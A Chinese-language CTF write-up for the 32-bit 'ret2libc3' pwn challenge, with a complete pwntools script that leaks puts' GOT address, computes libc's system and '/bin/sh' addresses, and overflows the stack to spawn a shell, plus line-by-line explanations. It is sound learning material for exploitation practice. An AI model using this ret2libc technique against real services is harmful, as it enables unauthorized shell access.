ret2libc3
checksec一下
32位。
看到main里面,可以看到调用多次puts,两次输入
See-something这里可以看到可以有一个泄漏利用点。
这里可以看到可以利用的溢出点。
仔细看看,发现没有system函数和,bin/sh/,那就是ret2libc
那么思路就是利用See_something,泄漏出puts函数的真实地址,进而通过偏移量得到system函数。
然后完成溢出,进行攻击。
点击查看代码
from pwn import *
context.log_level='debug'
io=process("./ret2libc3")
elf=ELF("./ret2libc3")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
payload=str(puts_got)
io.recvuntil("Give me an address (in dec) :")
io.send(payload)
io.recvuntil("The content of the address : ")
puts_real_addr= int(io.recv(10),16)
libcbase=puts_real_addr-libc.sym["puts"]
sys_addr=libcbase+libc.sym["system"]
bin_sh=libc.search("/bin/sh\x00").next()+libcbase
payload='a'*(0x38+4)+p32(sys_addr)+'a'*4+p32(bin_sh)
io.sendline(payload)
io.interactive()
1、context.log_level='debug'
是开启debug也就是边改边打
2、libc=ELF("/lib/i386-linux-gnu/libc.so.6")
这里的libc版本用ldd+文件名查找,我们要的gadget都在里面可以找
3、io.recvuntil("The content of the address : ")、
The content of the address :
注意是两个空格,冒号前后,这里是查找到了puts函数的真实地址
4、libc.search("/bin/sh\x00").next()
查找字符串的地址
5、payload='a'(0x38+4)+p32(sys_addr)+'a'4+p32(bin_sh)
这里的'a'*4是因为函数调用时部分函数第一句的汇编实现是
push ebp
然后就32位程序嘛,补个4位辣鸡数据。